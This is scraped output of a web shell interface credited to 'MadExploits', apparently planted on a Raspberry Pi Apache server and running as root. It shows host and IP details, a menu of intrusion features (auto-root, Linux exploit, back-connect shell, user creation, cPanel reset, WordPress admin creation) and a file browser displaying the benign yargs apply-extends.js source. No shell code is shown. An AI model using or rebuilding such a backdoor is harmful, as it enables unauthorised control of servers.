Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.15
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
nodejs /
yargs /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
apply-extends.js
1.44
KB
-rw-r--r--
argsert.js
2.3
KB
-rw-r--r--
command.js
13.54
KB
-rw-r--r--
completion.js
3.14
KB
-rw-r--r--
levenshtein.js
2.12
KB
-rw-r--r--
obj-filter.js
269
B
-rw-r--r--
usage.js
14.51
KB
-rw-r--r--
validation.js
10.77
KB
-rw-r--r--
yerror.js
254
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : apply-extends.js
'use strict' const fs = require('fs') const path = require('path') const YError = require('./yerror') let previouslyVisitedConfigs = [] function checkForCircularExtends (path) { if (previouslyVisitedConfigs.indexOf(path) > -1) { throw new YError(`Circular extended configurations: '${path}'.`) } } function getPathToDefaultConfig (cwd, pathToExtend) { return path.resolve(cwd, pathToExtend) } function applyExtends (config, cwd) { let defaultConfig = {} if (config.hasOwnProperty('extends')) { if (typeof config.extends !== 'string') return defaultConfig const isPath = /\.json$/.test(config.extends) let pathToDefault = null if (!isPath) { try { pathToDefault = require.resolve(config.extends) } catch (err) { // most likely this simply isn't a module. } } else { pathToDefault = getPathToDefaultConfig(cwd, config.extends) } // maybe the module uses key for some other reason, // err on side of caution. if (!pathToDefault && !isPath) return config checkForCircularExtends(pathToDefault) previouslyVisitedConfigs.push(pathToDefault) defaultConfig = isPath ? JSON.parse(fs.readFileSync(pathToDefault, 'utf8')) : require(config.extends) delete config.extends defaultConfig = applyExtends(defaultConfig, path.dirname(pathToDefault)) } previouslyVisitedConfigs = [] return Object.assign({}, defaultConfig, config) } module.exports = applyExtends
Close